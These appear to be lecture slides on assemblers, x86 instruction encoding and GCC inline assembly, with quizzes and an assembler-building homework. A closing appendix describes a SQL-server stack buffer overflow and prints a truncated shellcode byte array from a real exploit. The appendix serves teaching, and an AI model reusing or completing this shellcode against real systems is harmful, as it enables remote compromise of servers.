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Objectives

Understand the role of assembler 
Find out the structure of assembler
Perceive how a HW designer makes a spec. and how a SW 
designer makes a program based on the spec. 
Know how to use assembly in a high-level language (inline 
assembly)

Refer to Chapter 3 in the CSAPP and Intel SW Developer 
Manual
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Role of Assembler 
Assembler
ü Translate assembly language into machine language

F Understanding a binary is indispensable for detecting virus, plagiarism and SW refactoring
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Functionalities of Assembler: 32-bit CPU (1/5)

Machine Code
ü IA-32 machine code format

,

R/M or I/B registerMod
00 : mem.
01 : mem.+dis(8)
10 : mem.+dis(32)
11 : reg.

Scale
00 : *1
01 : *2
10 : *4
11 : *8

(from Intel Manual, Volume 2)
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Functionalities of Assembler: 32-bit CPU (2/5)

Opcode 
ü Machine format example of MOV opcode

(from Intel Manual, Volume 2, 4.3 Instructions: move)
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Functionalities of Assembler: 32-bit CPU (3/5)

Translation example 
mem. operand: 
Little Endian

opcode

Immediate (1B vs 4B: see 
below

Mod
00 : mem.
01 : mem.+dis(8)
10 : mem.+dis(32)
11 : reg.

R/M or I/B number

opcode + register 
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Functionalities of Assembler: 32-bit CPU (4/5)

Translation example 

ModR/M: 11001010

Mod
00 : mem.
01 : mem.+dis(8)
10 : mem.+dis(32)
11 : reg.

R/M or I/B number

ModR/M: 01001000

displacement

Scale
00 : *1
01 : *2
10 : *4
11 : *8

SIB: 10011000
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Functionalities of Assembler: 32-bit CPU (5/5)

Translation example (cont’) 

Prefix: 0x66èoperand  
size override

Mod
00 : mem.
01 : mem.+dis(8)
10 : mem.+dis(32)
11 : reg.

R/M or I/B number

Scale
00 : *1
01 : *2
10 : *4
11 : *8



Structure of Assembler (1/2)

4 Main Components

movl  0x4(%eax), %ecx

opcode: 8b 
mod R/M : 01 001 000
disp.: 0x4

8b 48 04
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Structure of Assembler (2/2)

2 pass assembler

Instruction
Database

F To sum up, designing an assembler consists of 1) making parser, 2) manipulating 
DB, 3) managing symbol table, 4) code generating, 5) error handing, 6) optimization 
and so on.
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Quiz for 14th-Week 2nd-Lesson  

Quiz
ü 1. Discuss 4 main components of assembler.
ü 2. The below figure is the language hierarchy that we have seen in 

the LN 1. Now, explain what is “movl”, “0x8049388” and “a1”. 
ü Bonus) Explain the little endian in this figure.  
ü Due: until 6 PM Friday of this week (10th, December) 
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(Source: LN 1 What is System programming?) (Source: LN 0 Lecture Introduction)



Functionalities of Assembler: 64-bit CPU (1/4)

Machine Code with 64-bit extension
ü Need to encode new registers (GPRs) and 64-bit addressing   
ü Need to maintain backward compatibility
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Functionalities of Assembler: 64-bit CPU (2/4)

Machine Code with 64-bit extension  
ü Code format

§ REX prefix
• Specify GPRs (rax, rbx, …, rdi, r8, r9, … r15) and SSE registers
• Specify 64-bit operand size

(from Intel Manual, Volume 2, 2.2 IA-32e Mode)
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Functionalities of Assembler: 64-bit CPU (3/4)

Machine Code including 64-bit extension  
ü Machine format example of MOV opcode

§ 64bit addressing è REX prefix

(from Intel Manual, Volume 2, 4.3 Instructions: move)
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Functionalities of Assembler: 64-bit CPU (4/4)

Translation example 

REX Prefix: 0100 1000

For specifying r9, r10
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inline Assembly (1/6)

inline Assembly
ü Assembly code embedded in a high level language like C 

ü structure
§ __asm__(assembly statement : output : input : modified register) 
§ Each parts are separated by :
§ output, input, modified register are optional 

§ assembly statement: using “  ”, add a prefix % to each register 
§ output: “=g”(variable name)
§ input: “g”(variable name)
§ modified register (clobber): notify to compiler which registers are 

modified by inline assembly (to prevent the side effect of inline assembly) 
§ Output and input are accessed using the notation of %0, %1, %2, … 
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inline Assembly (2/6)

inline Assembly practice 1: add

assembly statements

output

input

input/output passing
a
b 
c  
d 
S 
D 
q  
m  
g   

A   
f
i 
0
..

eax
ebx
ecx
edx
esi
edi
general register
memory
general register and 
memory
edx: eax (64 bits)
FP register
immediate
first parameter
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inline Assembly (3/6)

inline Assembly practice 2: register input
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inline Assembly (4/6)

inline Assembly practice 3: clobber 

To notify that a register is used 
internally in inline assembly
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inline Assembly (5/6)
inline Assembly practice 4: stack again
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inline Assembly (6/6)

inline Assembly practice 5: define

Prevent a compiler from 
moving these codes to other 
place for the optimization 
purpose. 
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Summary

Apprehend the role of assembler (“as” in Linux)
ü Assembly language è Machine language

Understand the structure of assembler 
ü Token analysis, Parsing, Syntax analysis, Semantic Analysis, 

Symbol table, Code generation, Optimization
ü 2 pass assembler

Make a program with inline assembly

F Homework 7: Make an assembler
ü Requirements

- build an assembler that can translate assembly codes into the 
IA machine codes shown in slides 6~8. 

- manipulate DB and do error handling  
- shows student’s ID and date (using whoami and date)
- Make a report that includes a snapshot and discussion. 

1) Upload the report to the e-Campus (pdf format!!, 6pm. 17th December)
2) Send the report and source code to TA (이제연: 2reenact@naver.com) 



Quiz for 15th-Week 1st-Lesson  

Quiz
ü 1. Explain how x86-64 maintain the backward compatibility. 
ü 2. In page 20, we make a program that can destroy stack using inline 

assembly. Discuss the differences between this program and the 
program we have learnt in LN 4. 

ü Due: until 6 PM Friday of this week (17th, December) 
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(Source: LN 4 Process Structure) 



Appendix: Exploit code (1/2)

Exploit code
ü A code that attacks the vulnerabilities of program

§ System down, obtain a shell with root privilege
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Appendix: Exploit code (2/2)
SQL Exploit code
ü Copy a request into stack in a SQL internal function (vulnerable point)
ü Make a larger request might destroy stack (buffer overflow)
ü Modify the return address of stack so that it executes an exploit code 

char exploit_code[]= 
"\x55\x8B\xEC\x68\x18\x10\xAE\x42\x68\x1C" 
"\x10\xAE\x42\xEB\x03\x5B\xEB\x05\xE8\xF8" 
"\xFF\xFF\xFF\xBE\xFF\xFF\xFF\xFF\x81\xF6" 
"\xAE\xFE\xFF\xFF\x03\xDE\x90\x90\x90\x90" 
"\x90\x33\xC9\xB1\x44\xB2\x58\x30\x13\x83" 
"\xEB\x01\xE2\xF9\x43\x53\x8B\x75\xFC\xFF" 
"\x16\x50\x33\xC0\xB0\x0C\x03\xD8\x53\xFF" 
"\x16\x50\x33\xC0\xB0\x10\x03\xD8\x53\x8B“
…
"\xFF\xD0\x90\x2F\x2B\x6A\x07\x6B\x6A\x76" 
"\x3C\x34\x34\x58\x58\x33\x3D\x2A\x36\x3D" 
"\x34\x6B\x6A\x76\x3C\x34\x34\x58\x58\x58" 
"\x58\x0F\x0B\x19\x0B\x37\x3B\x33\x3D\x2C" 
"\x19\x58\x58\x3B\x37\x36\x36\x3D\x3B\x2C" 
"\x58\x1B\x2A\x3D\x39\x2C\x3D\x08\x2A\x37" 
"\x3B\x3D\x2B\x2B\x19\x58\x58\x3B\x35\x3C" 
"\x58";  

push %ebp mov %esp, %ebp push immediate

pop %eax

jmp 0x03


